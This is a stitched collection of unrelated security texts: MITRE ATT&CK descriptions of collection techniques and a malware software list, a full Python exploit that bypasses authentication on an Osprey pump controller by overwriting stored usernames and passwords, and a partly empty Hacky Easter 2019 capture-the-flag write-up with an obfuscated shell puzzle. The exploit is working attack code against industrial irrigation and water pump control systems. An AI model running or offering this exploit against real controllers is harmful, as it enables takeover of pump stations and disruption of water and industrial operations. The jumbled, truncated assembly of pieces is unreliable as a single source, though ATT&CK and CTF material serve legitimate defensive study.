Forwarding Rule Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations. Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators. Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes. T Input Capture Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture). . Keylogging Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems. . GUI Input Capture Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control). . Web Portal Capture Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. . Credential API Hooking Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. T Screen Capture Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture. T Video Capture An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. × load more results
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tactics_TA0009.txt
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#!/usr/bin/env python # # Exploit Title: Osprey Pump Controller v1.0.1 - Authentication Bypass Credentials Modification # Exploit Author: LiquidWorm # # Vendor: ProPump and Controls, Inc. # Product web page: https://www.propumpservice.com | https://www.pumpstationparts.com # Affected version: Software Build ID 20211018, Production 10/18/ # Mirage App: MirageAppManager, Release [1.0.1] # Mirage Model 1, RetroBoard II # # # Summary: Providing pumping systems and automated controls for # golf courses and turf irrigation, municipal water and sewer, # biogas, agricultural, and industrial markets. Osprey: door-mounted, # irrigation and landscape pump controller. # # Technology hasn't changed dramatically on pump and electric motors # in the last 30 years. Pump station controls are a different story. # More than ever before, customers expect the smooth and efficient # operation of VFD control. Communications—monitoring, remote control, # and interfacing with irrigation computer programs—have become common # requirements. Fast and reliable accessibility through cell phones # has been a game changer. # # ProPump & Controls can handle any of your retrofit needs, from upgrading # an older relay logic system to a powerful modern PLC controller, to # converting your fixed speed or first generation VFD control system to # the latest control platform with communications capabilities. # # We use a variety of solutions, from MCI-Flowtronex and Watertronics # package panels to sophisticated SCADA systems capable of controlling # and monitoring networks of hundreds of pump stations, valves, tanks, # deep wells, or remote flow meters. # # User friendly system navigation allows quick and easy access to all # critical pump station information with no password protection unless # requested by the customer. Easy to understand control terminology allows # any qualified pump technician the ability to make basic changes without # support. Similar control and navigation platform compared to one of the # most recognized golf pump station control systems for the last twenty # years make it familiar to established golf service groups nationwide. # Reliable push button navigation and LCD information screen allows the # use of all existing control panel door switches to eliminate the common # problems associated with touchscreens. # # Global system configuration possibilities allow it to be adapted to # virtually any PLC or relay logic controlled pump stations being used in # the industrial, municipal, agricultural and golf markets that operate # variable or fixed speed. On board Wi-Fi and available cellular modem # option allows complete remote access. # # Desc: A vulnerability has been discovered in the web panel of Osprey pump # controller that allows an unauthenticated attacker to create an account # and bypass authentication, thereby gaining unauthorized access to the # system. The vulnerability stems from a lack of proper authentication # checks during the account creation process, which allows an attacker # to create a user account without providing valid credentials. An attacker # who successfully exploits this vulnerability can gain access to the pump # controller's web panel, and cause disruption in operation, modify data, # change other usernames and passwords, or even shut down the controller # entirely. # # The attacker can leverage their unauthorized access to the # system to carry out a variety of malicious activities, including: # Modifying pump settings, such as flow rates or pressure levels, causing # damage or loss of control, stealing sensitive data, such as system logs # or customer information, changing passwords and other user credentials, # potentially locking out legitimate users or allowing the attacker to # maintain persistent access to the system, disabling or shutting down # the controller entirely, potentially causing significant disruption to # operations and service delivery. # # ---------------------------------------------------------------------- # $ ./accpump.py 192.168.0.25 root rewt # [ ok ] # [ ok ] # Login with 'root:rewt' -> Register Access Menu. # ---------------------------------------------------------------------- # # Tested on: Apache/2.4.25 (Raspbian) # Raspbian GNU/Linux 9 (stretch) # GNU/Linux 4.14.79-v7+ (armv7l) # Python 2.7.13 [GCC 6.3.0 20170516] # GNU gdb (Raspbian 7.12-6) 7.12.0.20161007-git # PHP 7.0.33-0+deb9u1 (Zend Engine v3.0.0 with Zend OPcache v7.0.33) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Macedonian Information Security Research and Development Laboratory # Zero Science Lab - https://www.zeroscience.mk - @zeroscience # # # Advisory ID: ZSL-2023- # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5752.php # # # 05.01. # import requests import sys as s if len(s.argv)!=4: print("Osprey Pump Controller Bypass Exploit") print("Arguments: [host] [username] [password]") exit(-3) else: url=s.argv[1] usr=s.argv[2] pwd=s.argv[3] if not "http" in url: url="http://{}".format(url) # # Data names . Values # # USERNAME0 . user # USERNAME1 . # USERNAME2 . # USERNAME3 . # USERNAME4 . # USERPW0 . # USERPW1 . # USERPW2 . # USERPW3 . # USERPW4 . # url+="/" url+="setSystemText" url+=".php" paru={"sysTextValue" :usr, "sysTextName" :"USERNAME3", "backTargetLinkNumber":75, "userName" :"ZSL"} parp={"sysTextValue" :pwd, "sysTextName" :"USERPW3", "backTargetLinkNumber":75, "userName" :"WriteExploit"} r=requests.get(url,params=paru) if 'System String "USERNAME3" set' in r.text: print("[ ok ]") else: print(f"Error: {r.status_code} {r.reason} - {r.text}") r=requests.get(url,params=parp) if 'System String "USERPW3" set' in r.text: print("[ ok ]") print(f"Login with '{usr}:{pwd}' ",end="") print("-> Register Access Menu.") else: print(f"Error: {r.status_code} {r.reason} - {r.text}")
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51303.py
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Currently viewing ATT&CK v6.3 which was live between October 24, 2019 and March 30, 2020. Learn more about the versioning system or see the live site. The sub-techniques beta is now live! Read the release blog post for more info. SOFTWARE Overview 3PARA RAT 4H RAT adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult BabyShark Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dyre Ebury Elise ELMER Emissary Emotet Empire Epic esentutl EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FruitFly FTP Fysbis Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon Gooligan GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid Machete MacSpy MailSniper Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDFSNIFFER Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor Riltok RIPTIDE RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN Volgmer WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell SOFTWARE Overview 1- 3PARA RAT 4H RAT A-B adbupd Adups ADVSTORESHELL Agent Tesla Agent.btz Allwinner Android/Chuli.A ANDROIDOS_ANSERVER.A AndroRAT Arp ASPXSpy Astaroth at AuditCred AutoIt backdoor Azorult BabyShark Backdoor.Oldrea BACKSPACE BADCALL BADNEWS BadPatch Bandook Bankshot BBSRAT BISCUIT Bisonal BITSAdmin BLACKCOFFEE BlackEnergy BONDUPDATER BOOSTWRITE BOOTRASH BrainTest Brave Prince Briba BS BUBBLEWRAP C-D Cachedump CALENDAR Calisto CallMe Cannon Carbanak Carbon Cardinal RAT Catchamas CCBkdr certutil Chaos Charger ChChes Cherry Picker China Chopper CHOPSTICK CloudDuke cmd Cobalt Strike Cobian RAT CoinTicker Comnie ComRAT CORALDECK CORESHELL CosmicDuke CozyCar Crimson CrossRAT DarkComet Daserf DDKONG DealersChoice Dendroid Denis Derusbi Dipsind DOGCALL Dok Downdelph DownPaper DressCode Dridex DroidJack dsquery DualToy Duqu DustySky Dyre E-F Ebury Elise ELMER Emissary Emotet Empire Epic esentutl EvilBunny EvilGrab Exaramel for Linux Exaramel for Windows Exodus Expand FakeM FALLCHILL Felismus FELIXROOT Fgdump Final1stspy FinFisher Flame FLASHFLOOD FlawedAmmyy FlawedGrace FlexiSpy FLIPSIDE Forfiles FruitFly FTP Fysbis G-H Gazer GeminiDuke gh0st RAT GLOOXMAIL Gold Dragon Gooligan GravityRAT GreyEnergy GRIFFON gsecdump Gustuff H1N Hacking Team UEFI Rootkit HALFBAKED HAMMERTOSS HAPPYWORK HARDRAIN Havij HAWKBALL hcdLoader HDoor Helminth Hi-Zor HiddenWasp HIDEDRV Hikit HOMEFRY HOPLIGHT HTRAN HTTPBrowser httpclient HummingBad HummingWhale Hydraq HyperBro I-J ifconfig iKitten Impacket InnaputRAT InvisiMole Invoke-PSImage ipconfig ISMInjector Ixeshe Janicab JCry JHUHUGIT JPIN jRAT Judy K-L KARAE Kasidet Kazuar KeyBoy Keydnap KEYMARBLE KeyRaider Koadic Komplex KOMPROGO KONNI Kwampirs LaZagne LightNeuron Linfo Linux Rabbit LockerGoga LoJax LOWBALL Lslsass Lurid M-N Machete MacSpy MailSniper Marcher Matroyshka MazarBOT meek Micropsia Mimikatz MimiPenguin Miner-C MiniDuke MirageFox Mis-Type Misdat Mivast MobileOrder Monokle MoonWind More_eggs Mosquito MURKYTOP Naid NanHaiShu NanoCore NavRAT nbtstat NDiskMonitor Nerex Net Net Crawler NETEAGLE netsh netstat NetTraveler NETWIRE Nidiran njRAT Nltest NOKKI NotCompatible NotPetya O-P OBAD OceanSalt Octopus OLDBAIT OldBoot Olympic Destroyer OnionDuke OopsIE Orz OSInfo OSX/Shlayer OSX_OCEANLOTUS.D OwaAuth P2P ZeuS Pallas Pasam Pass-The-Hash Toolkit Pegasus for Android Pegasus for iOS PHOREAL PinchDuke Ping Pisloader PJApps PLAINTEE PlugX pngdowner PoisonIvy POORAIM PoshC POSHSPY Power Loader PowerDuke POWERSOURCE PowerSploit PowerStallion POWERSTATS POWERTON POWRUNER Prikormka Proton Proxysvc PsExec Psylo Pteranodon PUNCHBUGGY PUNCHTRACK Pupy pwdump Q-R QUADAGENT QuasarRAT RARSTONE RATANKBA RawDisk RawPOS RCSAndroid RDFSNIFFER Reaver RedDrop RedLeaves Reg Regin Remcos Remexi RemoteCMD Remsec Responder Revenge RAT RGDoor Riltok RIPTIDE RobbinHood ROCKBOOT RogueRobin ROKRAT Rotexy route Rover RTM Ruler RuMMS RunningRAT S-T S-Type Sakula SamSam schtasks SDelete SeaDuke Seasalt SEASHARPEE ServHelper Shamoon ShiftyBug SHIPSHAPE SHOTPUT SHUTTERSPEED Skeleton Key Skygofree SLOWDRIFT Smoke Loader SNUGRIDE Socksbot SOUNDBITE SPACESHIP SpeakUp spwebmember SpyDealer SpyNote RAT sqlmap SQLRat SslMM Starloader Stealth Mango StoneDrill StreamEx Sykipot SynAck Sys Systeminfo T Taidoor Tangelo Tasklist TDTESS TEXTMATE TINYTYPHON TinyZBot Tor TrickBot Trojan-SMS.AndroidOS.Agent.ao Trojan-SMS.AndroidOS.FakeInst.a Trojan-SMS.AndroidOS.OpFake.a Trojan.Karagany Trojan.Mebromi Truvasys TURNEDUP Twitoor TYPEFRAME U-V UACMe UBoatRAT Umbreon Unknown Logger UPPERCUT Uroburos Ursnif USBStealer Vasport VERMIN Volgmer W-X WannaCry WEBC Wiarp Windows Credential Editor WINDSHIELD WINERACK Winexe Wingbird WinMM Winnti Wiper WireLurker X-Agent for Android XAgentOSX Xbash Xbot xCmd XcodeGhost XLoader XTunnel Y-Z Yahoyah YiSpecter yty Zebrocy ZergHelper Zeroaccess ZeroT Zeus Panda ZLib zwShell ZxShell - Home - Software - esentutl esentutl esentutl is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.[1] ID: S Associated Software: esentutl.exe Type: TOOL Platforms: Windows Contributors: Matthew Demaske, Adaptforward Version: 1. Created: 03 September Last Modified: 14 October version permalink Live Version ATT&CK® Navigator Layers Enterprise Layer download view Techniques Used Domain ID Name Use Enterprise T Credential Dumping esentutl can use Volume Shadow Copy to copy locked files such as ntds.dit.[2][3] Enterprise T NTFS File Attributes esentutl can be used to read and write alternate data streams.[2] Enterprise T Remote File Copy esentutl can be used to copy files from a remote host or download files from a given URL.[2] Groups That Use This Software ID Name References G menuPass [4] References - Microsoft. (2016, August 30). Esentutl. Retrieved September 3, 2019. - LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019. - Cary, M.. (2018, December 6). Locked File Access Using ESENTUTL.exe. Retrieved September 5, 2019. - Matsuda, A., Muhammad, I.. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved April 22, 2019. × load more results
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versions_v6_software_S0404.txt
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advanced at doing math and also really sloppy. He lost the encryption script while hiding your challenge. Can you decrypt it? ``` K7sAYzGlYx0kZyXIIPrXxK22DkU4Q+rTGfUk9i9vA60C/ZcQOSWNfJLTu4RpIBy/27yK5CBW+UrBhm0= ``` [sloppy.rb](writeupfiles/sloppy.rb) **Solution** **Egg** ## 04 - Disco **Challenge** This year, we dance outside, yeaahh! See here. https://hackyeaster.hacking-lab.com/hackyeaster/challenges/disco2/disco2.html **Solution** **Egg** ## 05 - Call for Papers **Challenge** Please read and review my CFP document, for the upcoming IAPLI Symposium. I didn't write it myself, but used some artificial intelligence. What do you think about it? [IAPLI_Conference.docx](writeupfiles/IAPLI_Conference.docx) **Solution** **Egg** ## 06 - Dots **Challenge** Uncover the dots' secret! Then enter the password in the egg-o-matic below. Uppercase only, and no spaces!   **Solution** **Egg** ## 07 - Shell we argument **Challenge** Let's see if you have the right arguments to get the egg. ```sh z=" ";ACz='he';CCz='ec';iHz='Gr';vEz='na';LBz='ye';OFz='aw';kDz=' u';lEz='r"';GBz='Pz';sDz='at';kEz='et';HCz=' m';wEz='be';az='in';pCz=' w';UGz='w=';qFz='-9';WFz='Ah';yz='ag';ABz='Lz';pGz=' 4';wz='/e';YHz='$a';JBz='8c';jFz='{';KDz=' i';lFz='{1';Kz='8a';Wz='tp';EFz='pe';bDz='" ';FIz='py';sGz=' 3';IDz='tw';PHz='$J';HDz=' B';oz='f3';uGz=' 9';lz='Tz';bz='Wz';IFz='y!';RCz='di';NEz='y ';SFz='lt';qDz='t.';XCz=' y';cHz='$i';JDz=': ';xGz='00';IHz='t=';GDz='s.';ICz='e ';iBz='oz';sz='ht';hGz=' +';gFz='sN';ODz=' /';PDz='-[';MDz='fo';uFz='$ ';mz='es';vFz=']]';cGz='[ ';WBz='nz';ZDz='d"';WHz='$W';FHz='$m';uz='ck';lDz='nd';HEz='ot';rHz='2';KHz='$B';rBz=' [';dDz='-R';Rz='hz';jGz='))';wBz='1 ';fBz='12';NHz='$F';PEz='yp';JCz='so';LGz='ce';jCz='on';CFz='gh';fFz='ti';nCz='cu';vz='Uz';jEz='do';dBz='ac';vHz='ro';JFz='$9';wHz='ws';TFz='qu';VCz='wi';jz='Iz';OEz='bo';yDz='t,';yGz='7';LHz='z$';fEz=' k';pHz='sl';ADz='er';mHz='om';nFz='=~';WGz='tc';oHz='o!';sHz=' x';NCz='um';cBz='cz';Iz='.p';EDz='gu';lBz='42';SCz='sc';BDz=' o';SGz='e?';qHz='p ';qGz='65';VHz='$U';oBz='dz';IEz='ai';ECz=' "';eCz='-n';Vz='Bz';tCz='wh';fDz='y,';uDz=' e';rz='Az';VFz='ub';YFz='h,';HBz='m/';LFz='No';vCz='iv';fz='Yz';bCz=' -';LIz='w,';OGz='0 ';GFz='ea';dGz='2 ';iz='r.';kFz='[[';tFz='3}';ZFz=' f';HHz=' 5';LDz='n ';MFz='n'\''';BIz='Fi';QHz='$L';kBz='mz';mDz='st';Pz='Xz';hFz='r(';JGz='se';oFz=' ^';CEz='$3';iDz=' I';CHz='de';MCz='rg';MBz='Dz';dHz='$k';NGz='ee';hz='Jz';pBz='b7';KGz='Ni';mEz='$7';JEz='n.';QEz='of';uCz=' g';AIz='$t';WDz='re';XGz='h=';tDz='r ';NBz='//';KFz='-t';xEz=', ';DHz='v/';gBz='bz';BGz='Nr';XBz='c7';cFz='t'\''';IGz='el';FBz='gg';NDz='rm';LEz='al';tEz='. ';Dz='Cz';ZBz='r/';XFz='hh';YBz='Qz';uBz='-l';REz='t"';oDz='d ';HIz='l ';sBz=' $';PGz='99';gGz='ow';HGz='."';yHz='w-';Yz='62';AGz='& ';hDz='ut';yCz='mb';pz='kz';FDz='nt';iEz='ca';DDz='ar';hBz='75';vBz='t ';Jz='fz';IBz='pz';rGz='$4';CDz='f ';bGz=' {';hEz='w ';Tz='Rz';rDz=' r';ZGz='=0';SEz='$5';QDz='a-';MEz=' v';eEz='?.';vGz='11';tHz='-w';ZHz='$c';gDz=' b';VEz='m ';TEz='-b';OIz='h:';Cz='";';NFz='ge';EEz='Oh';UHz='$S';KIz='w:';qBz='if';wCz='rr';Az='z=';qCz='h ';pDz='ur';nBz='6e';DGz='&&';Ax2='ev';RDz='zA';cDz='!=';QBz='Hz';xTT='al';DBz='ha';QFz='e!';aEz=' s';DIz=' h';RHz='$N';MHz='$D';aGz='()';jHz='rf';MIz='ed';GGz='${';oGz='ch';BCz='n';YDz='ep';vDz='ri';Fz='s:';AEz='sn';qEz='ma';xFz='$2';nEz='-I';CBz='Ez';GEz='o,';mGz='((';GCz='ve';Mz='e9';JHz='"$';nGz='(m';OBz='iz';IIz='nv';QGz='9,';dEz='ra';GHz='eq';rFz=']{';aBz='ez';kz='te';rCz='yo';xz='Sz';yFz=' &';CIz='eg';UFz='ir';hHz='z"';DFz='ty';xDz='em';DCz='ho';xHz='x-';nz='Zz';FGz='8 ';lGz='=$';CGz='4 ';Sz='7e';kGz='gt';uEz='If';AHz=' (';TGz='lo';WEz='cl';OCz='en';pFz='[0';iCz='I ';TDz='] ';ZEz='hy';FFz='s,';KBz='Gz';qz='15';nDz='an';OHz='$H';Gz=''\'';';BFz='g ';bEz='uc';QCz='o ';aFz='! ';Oz='co';UDz='..';YCz='ou';eHz='$o';RBz='as';BBz='g-';PBz='cd';tBz='# ';pEz='ay';EGz='$6';EBz='Vz';Uz='im';AFz='br';XEz='ue';SDz='-Z';gCz=' ]';kCz='ly';nHz='gl';dCz='fi';VDz='./';gz='1e';BHz='&>';Ez='='\''';gHz='$r';ZCz='ex';yEz='ul';lHz='ok';DEz='-a';Zz='Kz';WCz='th';HFz='ll';RFz=''\''s';UCz='s ';FCz='Gi';KEz='3 ';dz='rz';SBz='Mz';aDz='$1';bBz='d8';wFz='}';bFz='Le';cz='s/';fHz='$p';fCz='10';aCz='it';KCz='me';eBz='gz';GIz='il';sCz='u ';eDz='So';RGz=' p';yBz=' t';fGz='(l';Xz='lz';TBz='la';mFz='} ';VBz='b.';YGz='hi';EIz='ap';XDz='cc';LCz=' a';oCz='ss';oEz='lw';mBz='jz';wDz='c ';jBz='4a';eFz='nc';rEz='ke';Qz='a6';Nz='Oz';PCz='ts';xCz='nu';Bz='"';dFz='fu';xBz='];';jDz=''\''t';wGz='$8';uHz='ww';bHz='$g';eGz='$(';iFz=') ';YEz='le';Hz='qz';gEz='no';ez='ng';kHz='to';JIz='bl';FEz=' n';tz='Fz';BEz='t?';VGz='0';UBz='Nz';NIz='ig';TCz='us';lCz=' d';PFz='9 ';EHz=' ;';cCz='1';SHz='$P';THz='$Q';hCz='; ';sFz='1,';Lz='az';tGz='33';aHz='$e';cEz='a ';MGz='bu';sEz='ad';iGz=' 1';UEz='I'\''';XHz='$Y';mCz='is'; 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First half is a series of variables, followed by a series of variable expansions. Extracting the first half into a file and sedding it into a file full of sed's: ```console sed -i 's/$ACz/he/g' eggi.sh sed -i 's/$CCz/ec/g' eggi.sh sed -i 's/$iHz/Gr/g' eggi.sh sed -i 's/$vEz/na/g' eggi.sh sed -i 's/$LBz/ye/g' eggi.sh sed -i 's/$OFz/aw/g' eggi.sh sed -i 's/$kDz/ u/g' eggi.sh sed -i 's/$lEz/r"/g' eggi.sh sed -i 's/$GBz/Pz/g' eggi.sh sed -i 's/$sDz/at/g' eggi.sh ``` and then running that on the eggi.sh script, we can find a [mostly readable shell script](./writeupfiles/eggi2.sh). Some of the replacements didn't work perfectly and it wasn't worth figuring out exactly. Based on some of the lines: ``` if [ "$1" != "-R" ]; then echo "Sorry, but I don$jDz understand your argument. $1 is rather an esoteric statement, isn$jDz it?" Czit - fi if [ "$3" != "-a" ]; then echo "Oh no, not that again. $3 really a very boring type of argument" Czit - fi if [ "$5" != "-b" ]; then echo "$UEzm clueless w Ez you bring such a strange argument as $5?. I know you can do better" Czit - fi if [ "$7" != "-I" ]; then echo "$7 always makes me mad. If you wanna discuss with be, then you should bring the right type of arguments, really!" ``` We know the odd numbered arguments should be the flags above, and based on ```bash function e() { if [[ $1 -lt $2 ]]; then low=$((low + 1)) elif [[ $1 -gt $2 ]]; then high=$((high + 1)) else match=$((match + 1)) fi } e $2 e $4 e $6 e $8 e ${10} ``` We can construct the final CLI: ``` $ bash eggi.sh -R 465 -a 333 -b 911 -I 112 -t Ahhhh, finally! Let's discuss your arguments ... Great, that are the perfect arguments. It took some time, but I'm glad, you see it now, too! ``` This opens a URL in our browser session with the egg. **Egg**  ## 08 - Modern Art **Challenge** Do you like modern art?  **Solution** The corners all read "remove me". Replacing them the correctly results in a QR code that reads "isn't that a bit too easy?"  **Egg** ## 09 - rorriM rorriM **Challenge** Mirror, mirror, on the wall, who's the fairest of them all? [evihcra.piz](writeupfiles/evihcra.piz) **Solution** **Egg** ## 10 - Stackunderflow **Challenge** Check out this new Q&A site. They must be hiding something but we don't know where to search. http://whale.hacking-lab.com:3371/ **Solution** **Egg** ## 11 - Memeory 2. **Challenge** We improved Memeory 1.0 and added an insane serverside component. So, no more CSS-tricks. Muahahaha. Flagbounty for everyone who can solve 10 successive rounds. Time per round is 30 seconds and only 3 missclicks are allowed. Good game.  http://whale.hacking-lab.com:1111/ **Solution** **Egg** ## 12 - Decrypt0r **Challenge** Crack the might Decryt0r and make it write a text with a flag. No Easter egg here. Enter the flag directly on the flag page. [decryptor.zip](writeupfiles/decryptor.zip) **Solution** **Egg** ## 13 - Symphony in HEX A lost symphony of the genius has reappeared.  Hint: count quavers, read semibreves Once you found the solution, enter it in the egg-o-matic below. Uppercase only, and no spaces! **Solution** **Egg** ## 14 - White Box **Challenge** Do you know the mighty WhiteBox encryption tool? Decrypt the following cipher text! ``` 9771a6a9aea773a93edc1b9e82b745030b770f8f992d0e45d7404f1d6533f9df348dbccd71034aff88afd188007df4a5c844969584b5ffd6ed2eb92aa419914e ``` [WhiteBox](writeupfiles/WhiteBox) **Solution** **Egg** ## 15 - Seen in Steem **Challenge** An unknown person placed a secret note about Hacky Easter 2019 in the Steem blockchain. It happend during Easter 2018. Go find the note, and enter it in the egg-o-matic below. Lowercase only, and no spaces! **Solution** **Egg** ## 16 - Every-Thing **Challenge** After the brilliant idea from [here](http://geek-and-poke.com/geekandpoke/2013/7/22/future-proof-your-data-model). The data model is stable and you can really store Every-Thing. [EveryThing.zip](writeupfiles/EveryThing.zip) **Solution** **Egg** ## 17 - New Egg Design Thumper is looking for a new design for his eggs. He tried several filters with his graphics program, but unfortunately the QR codes got unreadable. Can you help him?!  **Challenge** **Solution** **Egg** ## 18 Twisted **Challenge** **Solution** **Egg** ## 19 Twisted **Challenge** **Solution** **Egg** ## 20 Twisted **Challenge** **Solution** **Egg** ## 21 Twisted **Challenge** **Solution** **Egg** ## 22 Twisted **Challenge** **Solution** **Egg** ## 23 Twisted **Challenge** **Solution** **Egg** ## 24 Twisted **Challenge** **Solution** **Egg** ## 25 Twisted **Challenge** **Solution** **Egg** ## 26 Twisted **Challenge** **Solution** **Egg** ## 27 Twisted **Challenge** **Solution** **Egg** --- layout: writeup title: "The Hunt: Misty Jungle" level: difficulty: points: categories: [] tags: [] flag: --- ## Challenge ## Solution ## Egg --- layout: writeup title: White Box level: difficulty: points: categories: [] tags: [] flag: --- ## Challenge Do you know the mighty WhiteBox encryption tool? Decrypt the following cipher text! 9771a6a9aea773a93edc1b9e82b745030b770f8f992d0e45d7404f1d6533f9df348dbccd71034aff88afd188007df4a5c844969584b5ffd6ed2eb92aa419914e [WhiteBox](writeupfiles/WhiteBox) ## Solution ## Egg --- layout: writeup title: Call for Papers level: difficulty: points: categories: [] tags: [] flag: --- ## Challenge Please read and review my CFP document, for the upcoming IAPLI Symposium. I didn't write it myself, but used some artificial intelligence. What do you think about it? [IAPLI\_Conference.docx](writeupfiles/IAPLI_Conference.docx) ## Solution ## Egg --- layout: ctf-event title: Hacky Easter date: 2019-04- difficulty: false points: false cover: hacky-easter.png --- --- layout: writeup title: CAPTEG level: difficulty: points: categories: [] tags: [] flag: --- ## Challenge ## Solution ## Egg --- layout: writeup title: Hidden level: Hidden difficulty: points: categories: [] tags: [] flag: --- ## Challenge ## Solution ## Egg --- layout: writeup title: Modern Art level: difficulty: points: categories: [] tags: [] flag: --- **Challenge** Do you like modern art?  ## Solution The corners all read "remove me". Replacing them the correctly results in a QR code that reads "isn't that a bit too easy?"  ## Egg --- layout: writeup title: Twisted level: difficulty: points: categories: [] tags: [] flag: he19-Eihb-UUVw-nObm-lxaW --- ## Challenge As usual, the first one is very easy - just a little 